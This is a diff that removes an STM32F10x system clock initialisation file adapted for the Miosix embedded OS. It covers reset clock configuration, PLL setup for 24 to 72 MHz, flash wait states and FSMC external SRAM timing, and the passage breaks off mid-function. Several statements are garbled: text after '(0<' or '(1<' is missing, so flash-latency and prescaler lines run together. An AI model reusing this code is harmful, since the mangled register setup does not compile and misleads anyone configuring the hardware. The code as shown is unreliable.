- ****************************************************************************** - */ - -/** @addtogroup CMSIS - * @{ - */ - -/** @addtogroup stm32f10x_system - * @{ - */ - -/** @addtogroup STM32F10x_System_Private_Includes - * @{ - */ - -//By TFT: was #include "stm32f10x.h" -#include "interfaces/arch_registers.h" - -/** - * @} - */ - -/** @addtogroup STM32F10x_System_Private_TypesDefinitions - * @{ - */ - -/** - * @} - */ - -/** @addtogroup STM32F10x_System_Private_Defines - * @{ - */ - -/*!< Uncomment the line corresponding to the desired System clock (SYSCLK) - frequency (after reset the HSI is used as SYSCLK source) - - IMPORTANT NOTE: - ============== - 1. After each device reset the HSI is used as System clock source. - - 2. Please make sure that the selected System clock doesn't exceed your device's - maximum frequency. - - 3. If none of the define below is enabled, the HSI is used as System clock - source. - - 4. The System clock configuration functions provided within this file assume that: - - For Low, Medium and High density Value line devices an external 8MHz - crystal is used to drive the System clock. - - For Low, Medium and High density devices an external 8MHz crystal is - used to drive the System clock. - - For Connectivity line devices an external 25MHz crystal is used to drive - the System clock. - If you are using different crystal you have to adapt those functions accordingly. - */ - -//By TFT: Definition moved to Makefile.inc to allow easily changing clock frequency -#if 0 -#if defined (STM32F10X_LD_VL) || (defined STM32F10X_MD_VL) || (defined STM32F10X_HD_VL) -/* #define SYSCLK_FREQ_HSE HSE_VALUE */ -#define SYSCLK_FREQ_24MHz 24000000 -#else -/* #define SYSCLK_FREQ_HSE HSE_VALUE */ -/* #define SYSCLK_FREQ_24MHz 24000000 */ -/* #define SYSCLK_FREQ_36MHz 36000000 */ -/* #define SYSCLK_FREQ_48MHz 48000000 */ -/* #define SYSCLK_FREQ_56MHz 56000000 */ -#define SYSCLK_FREQ_72MHz 72000000 -#endif -#endif - -/*!< Uncomment the following line if you need to use external SRAM mounted - on STM3210E-EVAL board (STM32 High density and XL-density devices) or on - STM32100E-EVAL board (STM32 High-density value line devices) as data memory */ -#if defined (STM32F10X_HD) || (defined STM32F10X_XL) || (defined STM32F10X_HD_VL) -//By TFT: Miosix uses the __ENABLE_XRAM macro to tell the startup code it wants XRAM -#ifdef __ENABLE_XRAM -#define DATA_IN_ExtSRAM -#endif //__ENABLE_XRAM -#endif - -/*!< Uncomment the following line if you need to relocate your vector Table in - Internal SRAM. */ -/* #define VECT_TAB_SRAM */ -#define VECT_TAB_OFFSET 0x0 /*!< Vector Table base offset field. - This value must be a multiple of 0x200. */ - - -/** - * @} - */ - -/** @addtogroup STM32F10x_System_Private_Macros - * @{ - */ - -/** - * @} - */ - -/** @addtogroup STM32F10x_System_Private_Variables - * @{ - */ - -/******************************************************************************* -* Clock Definitions -*******************************************************************************/ - -// Miosix begin -// These defines used to be in stm32f10x.h. -#if !defined HSE_VALUE - #ifdef STM32F10X_CL - #define HSE_VALUE ((uint32_t)25000000) /*!< Value of the External oscillator in Hz */ - #else - #define HSE_VALUE ((uint32_t)8000000) /*!< Value of the External oscillator in Hz */ - #endif /* STM32F10X_CL */ -#endif /* HSE_VALUE */ - -#define HSE_STARTUP_TIMEOUT ((uint16_t)0x0500) /*!< Time out for HSE start up */ -#define HSI_VALUE ((uint32_t)8000000) /*!< Value of the Internal oscillator in Hz*/ -// Miosix end - -#ifdef SYSCLK_FREQ_HSE - uint32_t SystemCoreClock = SYSCLK_FREQ_HSE; /*!< System Clock Frequency (Core Clock) */ -#elif defined SYSCLK_FREQ_24MHz - uint32_t SystemCoreClock = SYSCLK_FREQ_24MHz; /*!< System Clock Frequency (Core Clock) */ -#elif defined SYSCLK_FREQ_36MHz - uint32_t SystemCoreClock = SYSCLK_FREQ_36MHz; /*!< System Clock Frequency (Core Clock) */ -#elif defined SYSCLK_FREQ_48MHz - uint32_t SystemCoreClock = SYSCLK_FREQ_48MHz; /*!< System Clock Frequency (Core Clock) */ -#elif defined SYSCLK_FREQ_56MHz - uint32_t SystemCoreClock = SYSCLK_FREQ_56MHz; /*!< System Clock Frequency (Core Clock) */ -#elif defined SYSCLK_FREQ_72MHz - uint32_t SystemCoreClock = SYSCLK_FREQ_72MHz; /*!< System Clock Frequency (Core Clock) */ -#else /*!< HSI Selected as System Clock source */ - uint32_t SystemCoreClock = HSI_VALUE; /*!< System Clock Frequency (Core Clock) */ -#endif - -const uint8_t AHBPrescTable[16] = {0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 3, 4, 6, 7, 8, 9}; -/** - * @} - */ - -/** @addtogroup STM32F10x_System_Private_FunctionPrototypes - * @{ - */ - -/*static*/ void SetSysClock(void); - -#ifdef SYSCLK_FREQ_HSE - static void SetSysClockToHSE(void); -#elif defined SYSCLK_FREQ_24MHz - static void SetSysClockTo24(void); -#elif defined SYSCLK_FREQ_36MHz - static void SetSysClockTo36(void); -#elif defined SYSCLK_FREQ_48MHz - static void SetSysClockTo48(void); -#elif defined SYSCLK_FREQ_56MHz - static void SetSysClockTo56(void); -#elif defined SYSCLK_FREQ_72MHz - static void SetSysClockTo72(void); -#endif - -#ifdef DATA_IN_ExtSRAM - static void SystemInit_ExtMemCtl(void); -#endif /* DATA_IN_ExtSRAM */ - -/** - * @} - */ - -/** @addtogroup STM32F10x_System_Private_Functions - * @{ - */ - -/** - * @brief Setup the microcontroller system - * Initialize the Embedded Flash Interface, the PLL and update the - * SystemCoreClock variable. - * @note This function should be used only after reset. - * @param None - * @retval None - */ -void SystemInit (void) -{ - /* Reset the RCC clock configuration to the default reset state(for debug purpose) */ - /* Set HSION bit */ - RCC->CR |= (uint32_t)0x00000001; - - /* Reset SW, HPRE, PPRE1, PPRE2, ADCPRE and MCO bits */ -#ifndef STM32F10X_CL - RCC->CFGR &= (uint32_t)0xF8FF0000; -#else - RCC->CFGR &= (uint32_t)0xF0FF0000; -#endif /* STM32F10X_CL */ - - /* Reset HSEON, CSSON and PLLON bits */ - RCC->CR &= (uint32_t)0xFEF6FFFF; - - /* Reset HSEBYP bit */ - RCC->CR &= (uint32_t)0xFFFBFFFF; - - /* Reset PLLSRC, PLLXTPRE, PLLMUL and USBPRE/OTGFSPRE bits */ - RCC->CFGR &= (uint32_t)0xFF80FFFF; - -#ifdef STM32F10X_CL - /* Reset PLL2ON and PLL3ON bits */ - RCC->CR &= (uint32_t)0xEBFFFFFF; - - /* Disable all interrupts and clear pending bits */ - RCC->CIR = 0x00FF0000; - - /* Reset CFGR2 register */ - RCC->CFGR2 = 0x00000000; -#elif defined (STM32F10X_LD_VL) || defined (STM32F10X_MD_VL) || (defined STM32F10X_HD_VL) - /* Disable all interrupts and clear pending bits */ - RCC->CIR = 0x009F0000; - - /* Reset CFGR2 register */ - RCC->CFGR2 = 0x00000000; -#else - /* Disable all interrupts and clear pending bits */ - RCC->CIR = 0x009F0000; -#endif /* STM32F10X_CL */ - -#if defined (STM32F10X_HD) || (defined STM32F10X_XL) || (defined STM32F10X_HD_VL) - #ifdef DATA_IN_ExtSRAM - SystemInit_ExtMemCtl(); - #endif /* DATA_IN_ExtSRAM */ -#endif - - /* Configure the System clock frequency, HCLK, PCLK2 and PCLK1 prescalers */ - /* Configure the Flash Latency cycles and enable prefetch buffer */ - SetSysClock(); - -#ifdef VECT_TAB_SRAM - SCB->VTOR = SRAM_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal SRAM. */ -#else - SCB->VTOR = FLASH_BASE | VECT_TAB_OFFSET; /* Vector Table Relocation in Internal FLASH. */ -#endif -} - -/** - * @brief Update SystemCoreClock variable according to Clock Register Values. - * The SystemCoreClock variable contains the core clock (HCLK), it can - * be used by the user application to setup the SysTick timer or configure - * other parameters. - * - * @note Each time the core clock (HCLK) changes, this function must be called - * to update SystemCoreClock variable value. Otherwise, any configuration - * based on this variable will be incorrect. - * - * @note - The system frequency computed by this function is not the real - * frequency in the chip. It is calculated based on the predefined - * constant and the selected clock source: - * - * - If SYSCLK source is HSI, SystemCoreClock will contain the HSI_VALUE(*) - * - * - If SYSCLK source is HSE, SystemCoreClock will contain the HSE_VALUE(**) - * - * - If SYSCLK source is PLL, SystemCoreClock will contain the HSE_VALUE(**) - * or HSI_VALUE(*) multiplied by the PLL factors. - * - * (*) HSI_VALUE is a constant defined in stm32f1xx.h file (default value - * 8 MHz) but the real value may vary depending on the variations - * in voltage and temperature. - * - * (**) HSE_VALUE is a constant defined in stm32f1xx.h file (default value - * 8 MHz or 25 MHz, depedning on the product used), user has to ensure - * that HSE_VALUE is same as the real frequency of the crystal used. - * Otherwise, this function may have wrong result. - * - * - The result of this function could be not correct when using fractional - * value for HSE crystal. - * @param None - * @retval None - */ -void SystemCoreClockUpdate (void) -{ - uint32_t tmp = 0, pllmull = 0, pllsource = 0; - -#ifdef STM32F10X_CL - uint32_t prediv1source = 0, prediv1factor = 0, prediv2factor = 0, pll2mull = 0; -#endif /* STM32F10X_CL */ - -#if defined (STM32F10X_LD_VL) || defined (STM32F10X_MD_VL) || (defined STM32F10X_HD_VL) - uint32_t prediv1factor = 0; -#endif /* STM32F10X_LD_VL or STM32F10X_MD_VL or STM32F10X_HD_VL */ - - /* Get SYSCLK source -------------------------------------------------------*/ - tmp = RCC->CFGR & RCC_CFGR_SWS; - - switch (tmp) - { - case 0x00: /* HSI used as system clock */ - SystemCoreClock = HSI_VALUE; - break; - case 0x04: /* HSE used as system clock */ - SystemCoreClock = HSE_VALUE; - break; - case 0x08: /* PLL used as system clock */ - - /* Get PLL clock source and multiplication factor ----------------------*/ - pllmull = RCC->CFGR & RCC_CFGR_PLLMULL; - pllsource = RCC->CFGR & RCC_CFGR_PLLSRC; - -#ifndef STM32F10X_CL - pllmull = ( pllmull >> 18) + 2; - - if (pllsource == 0x00) - { - /* HSI oscillator clock divided by 2 selected as PLL clock entry */ - SystemCoreClock = (HSI_VALUE >> 1) * pllmull; - } - else - { - #if defined (STM32F10X_LD_VL) || defined (STM32F10X_MD_VL) || (defined STM32F10X_HD_VL) - prediv1factor = (RCC->CFGR2 & RCC_CFGR2_PREDIV1) + 1; - /* HSE oscillator clock selected as PREDIV1 clock entry */ - SystemCoreClock = (HSE_VALUE / prediv1factor) * pllmull; - #else - /* HSE selected as PLL clock entry */ - if ((RCC->CFGR & RCC_CFGR_PLLXTPRE) != (uint32_t)RESET) - {/* HSE oscillator clock divided by 2 */ - SystemCoreClock = (HSE_VALUE >> 1) * pllmull; - } - else - { - SystemCoreClock = HSE_VALUE * pllmull; - } - #endif - } -#else - pllmull = pllmull >> 18; - - if (pllmull != 0x0D) - { - pllmull += 2; - } - else - { /* PLL multiplication factor = PLL input clock * 6.5 */ - pllmull = 13 / 2; - } - - if (pllsource == 0x00) - { - /* HSI oscillator clock divided by 2 selected as PLL clock entry */ - SystemCoreClock = (HSI_VALUE >> 1) * pllmull; - } - else - {/* PREDIV1 selected as PLL clock entry */ - - /* Get PREDIV1 clock source and division factor */ - prediv1source = RCC->CFGR2 & RCC_CFGR2_PREDIV1SRC; - prediv1factor = (RCC->CFGR2 & RCC_CFGR2_PREDIV1) + 1; - - if (prediv1source == 0) - { - /* HSE oscillator clock selected as PREDIV1 clock entry */ - SystemCoreClock = (HSE_VALUE / prediv1factor) * pllmull; - } - else - {/* PLL2 clock selected as PREDIV1 clock entry */ - - /* Get PREDIV2 division factor and PLL2 multiplication factor */ - prediv2factor = ((RCC->CFGR2 & RCC_CFGR2_PREDIV2) >> 4) + 1; - pll2mull = ((RCC->CFGR2 & RCC_CFGR2_PLL2MUL) >> 8 ) + 2; - SystemCoreClock = (((HSE_VALUE / prediv2factor) * pll2mull) / prediv1factor) * pllmull; - } - } -#endif /* STM32F10X_CL */ - break; - - default: - SystemCoreClock = HSI_VALUE; - break; - } - - /* Compute HCLK clock frequency ----------------*/ - /* Get HCLK prescaler */ - tmp = AHBPrescTable[((RCC->CFGR & RCC_CFGR_HPRE) >> 4)]; - /* HCLK clock frequency */ - SystemCoreClock >>= tmp; -} - -/** - * @brief Configures the System clock frequency, HCLK, PCLK2 and PCLK1 prescalers. - * @param None - * @retval None - */ -/*static*/ void SetSysClock(void) -{ -#ifdef SYSCLK_FREQ_HSE - SetSysClockToHSE(); -#elif defined SYSCLK_FREQ_24MHz - SetSysClockTo24(); -#elif defined SYSCLK_FREQ_36MHz - SetSysClockTo36(); -#elif defined SYSCLK_FREQ_48MHz - SetSysClockTo48(); -#elif defined SYSCLK_FREQ_56MHz - SetSysClockTo56(); -#elif defined SYSCLK_FREQ_72MHz - SetSysClockTo72(); -#endif - - /* If none of the define above is enabled, the HSI is used as System clock - source (default after reset) */ -} - -/** - * @brief Setup the external memory controller. Called in startup_stm32f10x.s - * before jump to __main - * @param None - * @retval None - */ -#ifdef DATA_IN_ExtSRAM -/** - * @brief Setup the external memory controller. - * Called in startup_stm32f10x_xx.s/.c before jump to main. - * This function configures the external SRAM mounted on STM3210E-EVAL - * board (STM32 High density devices). This SRAM will be used as program - * data memory (including heap and stack). - * @param None - * @retval None - */ -void SystemInit_ExtMemCtl(void) -{ -/*!< FSMC Bank1 NOR/SRAM3 is used for the STM3210E-EVAL, if another Bank is - required, then adjust the Register Addresses */ - - /* Enable FSMC clock */ - RCC->AHBENR = 0x00000114; - RCC_SYNC(); - /* Enable GPIOD, GPIOE, GPIOF and GPIOG clocks */ - RCC->APB2ENR = 0x000001E0; - RCC_SYNC(); -/* --------------- SRAM Data lines, NOE and NWE configuration ---------------*/ -/*---------------- SRAM Address lines configuration -------------------------*/ -/*---------------- NOE and NWE configuration --------------------------------*/ -/*---------------- NE3 configuration ----------------------------------------*/ -/*---------------- NBL0, NBL1 configuration ---------------------------------*/ - - GPIOD->CRL = 0x44BB44BB; - GPIOD->CRH = 0xBBBBBBBB; - - GPIOE->CRL = 0xB44444BB; - GPIOE->CRH = 0xBBBBBBBB; - - GPIOF->CRL = 0x44BBBBBB; - GPIOF->CRH = 0xBBBB4444; - - GPIOG->CRL = 0x44BBBBBB; - //Bug fixed by TFT: PG12 is connected to /CS of the display, and lacks a - //pull-up, so it must be asserted high to avoid a conflict on the data lines - //GPIOG->CRH = 0x44444B44; - GPIOG->CRH = 0x444B4B44; - GPIOG->BSRR = GPIO_BSRR_BS12; - -/*---------------- FSMC Configuration ---------------------------------------*/ -/*---------------- Enable FSMC Bank1_SRAM Bank ------------------------------*/ - - FSMC_Bank1->BTCR[4] = 0x00001011; - FSMC_Bank1->BTCR[5] = 0x00000200; - - //By TFT: If using is62wv51216bll (low power RAM, 55ns access time) - //instead of is61wv51216bll (10ns fast RAM) use these settings - //read still takes 6 cycles, but write takes 5 cycles - //(yes, the way the FSMC registers are defined in stm32f10x.h sucks...) - //FSMC_Bank1->BTCR[4] = 0x00005011;//This is BCR3 - //FSMC_Bank1->BTCR[5] = 0x00000200;//This is BTR3 - //FSMC_Bank1E->BWTR[4] = 0x00000300;//This is BWTR3 -} -#endif /* DATA_IN_ExtSRAM */ - -#ifdef SYSCLK_FREQ_HSE -/** - * @brief Selects HSE as System clock source and configure HCLK, PCLK2 - * and PCLK1 prescalers. - * @note This function should be used only after reset. - * @param None - * @retval None - */ -static void SetSysClockToHSE(void) -{ - __IO uint32_t StartUpCounter = 0, HSEStatus = 0; - - /* SYSCLK, HCLK, PCLK2 and PCLK1 configuration ---------------------------*/ - /* Enable HSE */ - RCC->CR |= ((uint32_t)RCC_CR_HSEON); - - /* Wait till HSE is ready and if Time out is reached exit */ - do - { - HSEStatus = RCC->CR & RCC_CR_HSERDY; - StartUpCounter++; - } while((HSEStatus == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT)); - - if ((RCC->CR & RCC_CR_HSERDY) != RESET) - { - HSEStatus = (uint32_t)0x01; - } - else - { - HSEStatus = (uint32_t)0x00; - } - - if (HSEStatus == (uint32_t)0x01) - { - -#if !defined STM32F10X_LD_VL && !defined STM32F10X_MD_VL && !defined STM32F10X_HD_VL - /* Enable Prefetch Buffer */ - FLASH->ACR |= FLASH_ACR_PRFTBE; - - if (HSE_VALUE <= 24000000) - { - //NOTE: the value of the constant FLASH_ACR_LATENCY_0 changed from meaning - //"0 wait states" to meaning "bit 0", thus 1 wait states, so don't use it! - FLASH->ACR = (FLASH->ACR & ~FLASH_ACR_LATENCY_Msk) | (0<ACR = (FLASH->ACR & ~FLASH_ACR_LATENCY_Msk) | (1<CFGR |= (uint32_t)RCC_CFGR_HPRE_DIV1; - - /* PCLK2 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE2_DIV1; - - /* PCLK1 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE1_DIV1; - - /* Select HSE as system clock source */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW)); - RCC->CFGR |= (uint32_t)RCC_CFGR_SW_HSE; - - /* Wait till HSE is used as system clock source */ - while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)0x04) - { - } - } - else - { /* If HSE fails to start-up, the application will have wrong clock - configuration. User can add here some code to deal with this error */ - } -} -#elif defined SYSCLK_FREQ_24MHz -/** - * @brief Sets System clock frequency to 24MHz and configure HCLK, PCLK2 - * and PCLK1 prescalers. - * @note This function should be used only after reset. - * @param None - * @retval None - */ -static void SetSysClockTo24(void) -{ - __IO uint32_t StartUpCounter = 0, HSEStatus = 0x01; //By TFT: was 0 - (void)StartUpCounter; - - #ifndef RUN_WITH_HSI //By TFT - /* SYSCLK, HCLK, PCLK2 and PCLK1 configuration ---------------------------*/ - /* Enable HSE */ - RCC->CR |= ((uint32_t)RCC_CR_HSEON); - - /* Wait till HSE is ready and if Time out is reached exit */ - do - { - HSEStatus = RCC->CR & RCC_CR_HSERDY; - StartUpCounter++; - } while((HSEStatus == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT)); - - if ((RCC->CR & RCC_CR_HSERDY) != RESET) - { - HSEStatus = (uint32_t)0x01; - } - else - { - HSEStatus = (uint32_t)0x00; - } - #endif //RUN_WITH_HSI //By TFT - - if (HSEStatus == (uint32_t)0x01) - { -#if !defined STM32F10X_LD_VL && !defined STM32F10X_MD_VL && !defined STM32F10X_HD_VL - /* Enable Prefetch Buffer */ - FLASH->ACR |= FLASH_ACR_PRFTBE; - - /* Flash 0 wait state */ - //NOTE: the value of the constant FLASH_ACR_LATENCY_0 changed from meaning - //"0 wait states" to meaning "bit 0", thus 1 wait states, so don't use it! - FLASH->ACR = (FLASH->ACR & ~FLASH_ACR_LATENCY_Msk) | (0<CFGR |= (uint32_t)RCC_CFGR_HPRE_DIV1; - - /* PCLK2 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE2_DIV1; - - /* PCLK1 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE1_DIV1; - -#ifdef STM32F10X_CL - /* Configure PLLs ------------------------------------------------------*/ - /* PLL configuration: PLLCLK = PREDIV1 * 6 = 24 MHz */ - RCC->CFGR &= (uint32_t)~(RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLSRC | RCC_CFGR_PLLMULL); - RCC->CFGR |= (uint32_t)(0 | RCC_CFGR_PLLSRC | - RCC_CFGR_PLLMULL6); - - /* PLL2 configuration: PLL2CLK = (HSE / 5) * 8 = 40 MHz */ - /* PREDIV1 configuration: PREDIV1CLK = PLL2 / 10 = 4 MHz */ - RCC->CFGR2 &= (uint32_t)~(RCC_CFGR2_PREDIV2 | RCC_CFGR2_PLL2MUL | - RCC_CFGR2_PREDIV1 | RCC_CFGR2_PREDIV1SRC); - RCC->CFGR2 |= (uint32_t)(RCC_CFGR2_PREDIV2_DIV5 | RCC_CFGR2_PLL2MUL8 | - RCC_CFGR2_PREDIV1SRC_PLL2 | RCC_CFGR2_PREDIV1_DIV10); - - /* Enable PLL2 */ - RCC->CR |= RCC_CR_PLL2ON; - /* Wait till PLL2 is ready */ - while((RCC->CR & RCC_CR_PLL2RDY) == 0) - { - } -#elif defined (STM32F10X_LD_VL) || defined (STM32F10X_MD_VL) || defined (STM32F10X_HD_VL) - /* PLL configuration: = (HSE / 2) * 6 = 24 MHz */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMULL)); - RCC->CFGR |= (uint32_t)(RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMULL6); -#else - /* PLL configuration: = (HSE / 2) * 6 = 24 MHz */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMULL)); - RCC->CFGR |= (uint32_t)(RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMULL6); -#endif /* STM32F10X_CL */ - - #ifdef RUN_WITH_HSI //By TFT - RCC->CFGR &= ~RCC_CFGR_PLLSRC; - #endif - - /* Enable PLL */ - RCC->CR |= RCC_CR_PLLON; - - /* Wait till PLL is ready */ - while((RCC->CR & RCC_CR_PLLRDY) == 0) - { - } - - /* Select PLL as system clock source */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW)); - RCC->CFGR |= (uint32_t)RCC_CFGR_SW_PLL; - - /* Wait till PLL is used as system clock source */ - while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)0x08) - { - } - } - else - { /* If HSE fails to start-up, the application will have wrong clock - configuration. User can add here some code to deal with this error */ - } -} -#elif defined SYSCLK_FREQ_36MHz -/** - * @brief Sets System clock frequency to 36MHz and configure HCLK, PCLK2 - * and PCLK1 prescalers. - * @note This function should be used only after reset. - * @param None - * @retval None - */ -static void SetSysClockTo36(void) -{ - __IO uint32_t StartUpCounter = 0, HSEStatus = 0x01; //By TFT: was 0 - (void)StartUpCounter; - - #ifndef RUN_WITH_HSI //By TFT - /* SYSCLK, HCLK, PCLK2 and PCLK1 configuration ---------------------------*/ - /* Enable HSE */ - RCC->CR |= ((uint32_t)RCC_CR_HSEON); - - /* Wait till HSE is ready and if Time out is reached exit */ - do - { - HSEStatus = RCC->CR & RCC_CR_HSERDY; - StartUpCounter++; - } while((HSEStatus == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT)); - - if ((RCC->CR & RCC_CR_HSERDY) != RESET) - { - HSEStatus = (uint32_t)0x01; - } - else - { - HSEStatus = (uint32_t)0x00; - } - #else - #warning Untested configuration - #endif //RUN_WITH_HSI //By TFT - - if (HSEStatus == (uint32_t)0x01) - { - /* Enable Prefetch Buffer */ - FLASH->ACR |= FLASH_ACR_PRFTBE; - - /* Flash 1 wait state */ - //NOTE: the value of the constant FLASH_ACR_LATENCY_1 changed from meaning - //"1 wait states" to meaning "bit 1", thus 2 wait states, so don't use it! - FLASH->ACR = (FLASH->ACR & ~FLASH_ACR_LATENCY_Msk) | (1<CFGR |= (uint32_t)RCC_CFGR_HPRE_DIV1; - - /* PCLK2 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE2_DIV1; - - /* PCLK1 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE1_DIV1; - -#ifdef STM32F10X_CL - /* Configure PLLs ------------------------------------------------------*/ - - /* PLL configuration: PLLCLK = PREDIV1 * 9 = 36 MHz */ - RCC->CFGR &= (uint32_t)~(RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLSRC | RCC_CFGR_PLLMULL); - RCC->CFGR |= (uint32_t)(0 | RCC_CFGR_PLLSRC | - RCC_CFGR_PLLMULL9); - - /*!< PLL2 configuration: PLL2CLK = (HSE / 5) * 8 = 40 MHz */ - /* PREDIV1 configuration: PREDIV1CLK = PLL2 / 10 = 4 MHz */ - - RCC->CFGR2 &= (uint32_t)~(RCC_CFGR2_PREDIV2 | RCC_CFGR2_PLL2MUL | - RCC_CFGR2_PREDIV1 | RCC_CFGR2_PREDIV1SRC); - RCC->CFGR2 |= (uint32_t)(RCC_CFGR2_PREDIV2_DIV5 | RCC_CFGR2_PLL2MUL8 | - RCC_CFGR2_PREDIV1SRC_PLL2 | RCC_CFGR2_PREDIV1_DIV10); - - /* Enable PLL2 */ - RCC->CR |= RCC_CR_PLL2ON; - /* Wait till PLL2 is ready */ - while((RCC->CR & RCC_CR_PLL2RDY) == 0) - { - } - -#else - /* PLL configuration: PLLCLK = (HSE / 2) * 9 = 36 MHz */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMULL)); - RCC->CFGR |= (uint32_t)(RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMULL9); -#endif /* STM32F10X_CL */ - - #ifdef RUN_WITH_HSI //By TFT - RCC->CFGR &= ~RCC_CFGR_PLLSRC; - #endif - - /* Enable PLL */ - RCC->CR |= RCC_CR_PLLON; - - /* Wait till PLL is ready */ - while((RCC->CR & RCC_CR_PLLRDY) == 0) - { - } - - /* Select PLL as system clock source */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW)); - RCC->CFGR |= (uint32_t)RCC_CFGR_SW_PLL; - - /* Wait till PLL is used as system clock source */ - while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)0x08) - { - } - } - else - { /* If HSE fails to start-up, the application will have wrong clock - configuration. User can add here some code to deal with this error */ - } -} -#elif defined SYSCLK_FREQ_48MHz -/** - * @brief Sets System clock frequency to 48MHz and configure HCLK, PCLK2 - * and PCLK1 prescalers. - * @note This function should be used only after reset. - * @param None - * @retval None - */ -static void SetSysClockTo48(void) -{ - __IO uint32_t StartUpCounter = 0, HSEStatus = 0x01; //By TFT: was 0 - (void)StartUpCounter; - - #ifndef RUN_WITH_HSI //By TFT - /* SYSCLK, HCLK, PCLK2 and PCLK1 configuration ---------------------------*/ - /* Enable HSE */ - RCC->CR |= ((uint32_t)RCC_CR_HSEON); - - /* Wait till HSE is ready and if Time out is reached exit */ - do - { - HSEStatus = RCC->CR & RCC_CR_HSERDY; - StartUpCounter++; - } while((HSEStatus == 0) && (StartUpCounter != HSE_STARTUP_TIMEOUT)); - - if ((RCC->CR & RCC_CR_HSERDY) != RESET) - { - HSEStatus = (uint32_t)0x01; - } - else - { - HSEStatus = (uint32_t)0x00; - } - #else - #warning Untested configuration - #endif //RUN_WITH_HSI //By TFT - - if (HSEStatus == (uint32_t)0x01) - { - /* Enable Prefetch Buffer */ - FLASH->ACR |= FLASH_ACR_PRFTBE; - - /* Flash 1 wait state */ - //NOTE: the value of the constant FLASH_ACR_LATENCY_1 changed from meaning - //"1 wait states" to meaning "bit 1", thus 2 wait states, so don't use it! - FLASH->ACR = (FLASH->ACR & ~FLASH_ACR_LATENCY_Msk) | (1<CFGR |= (uint32_t)RCC_CFGR_HPRE_DIV1; - - /* PCLK2 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE2_DIV1; - - /* PCLK1 = HCLK */ - RCC->CFGR |= (uint32_t)RCC_CFGR_PPRE1_DIV2; - -#ifdef STM32F10X_CL - /* Configure PLLs ------------------------------------------------------*/ - /* PLL2 configuration: PLL2CLK = (HSE / 5) * 8 = 40 MHz */ - /* PREDIV1 configuration: PREDIV1CLK = PLL2 / 5 = 8 MHz */ - - RCC->CFGR2 &= (uint32_t)~(RCC_CFGR2_PREDIV2 | RCC_CFGR2_PLL2MUL | - RCC_CFGR2_PREDIV1 | RCC_CFGR2_PREDIV1SRC); - RCC->CFGR2 |= (uint32_t)(RCC_CFGR2_PREDIV2_DIV5 | RCC_CFGR2_PLL2MUL8 | - RCC_CFGR2_PREDIV1SRC_PLL2 | RCC_CFGR2_PREDIV1_DIV5); - - /* Enable PLL2 */ - RCC->CR |= RCC_CR_PLL2ON; - /* Wait till PLL2 is ready */ - while((RCC->CR & RCC_CR_PLL2RDY) == 0) - { - } - - - /* PLL configuration: PLLCLK = PREDIV1 * 6 = 48 MHz */ - RCC->CFGR &= (uint32_t)~(RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLSRC | RCC_CFGR_PLLMULL); - RCC->CFGR |= (uint32_t)(0 | RCC_CFGR_PLLSRC | RCC_CFGR_PLLMULL6); -#else - /* PLL configuration: PLLCLK = HSE * 6 = 48 MHz */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_PLLSRC | RCC_CFGR_PLLXTPRE | RCC_CFGR_PLLMULL)); - RCC->CFGR |= (uint32_t)(RCC_CFGR_PLLSRC | RCC_CFGR_PLLMULL6); -#endif /* STM32F10X_CL */ - - #ifdef RUN_WITH_HSI //By TFT - RCC->CFGR &= ~RCC_CFGR_PLLSRC; - #endif - - /* Enable PLL */ - RCC->CR |= RCC_CR_PLLON; - - /* Wait till PLL is ready */ - while((RCC->CR & RCC_CR_PLLRDY) == 0) - { - } - - /* Select PLL as system clock source */ - RCC->CFGR &= (uint32_t)((uint32_t)~(RCC_CFGR_SW)); - RCC->CFGR |= (uint32_t)RCC_CFGR_SW_PLL; - - /* Wait till PLL is used as system clock source */ - while ((RCC->CFGR & (uint32_t)RCC_CFGR_SWS) != (uint32_t)0x08) - { - } - } - else - { /* If HSE fails to start-up, the application will have wrong clock - configuration. User can add here some code to deal with this error */ - } -} - -#elif defined SYSCLK_FREQ_56MHz -/** - * @brief Sets System clock frequency to 56MHz and configure HCLK, PCLK2 - * and PCLK1 prescalers. - * @note This function should be used only after reset. - * @param None - * @retval None - */ -static void SetSysClockTo56(void) -{ - __IO uint32_t StartUpCounter = 0, HSEStatus = 0x01; //By TFT: was 0 - (void)StartUpCounter; - - #ifndef RUN_WITH_HSI //By TFT - /* SYSCLK, HCLK, PCLK2 and PCLK1 configuration ---------------------------*/ - /* Enable HSE */ - RCC->CR |= ((uint32_t)RCC_CR_HSEON); - - /* Wait till HSE is ready and if Time out is reached exit */ - do - { - HSEStatus = RCC->CR & 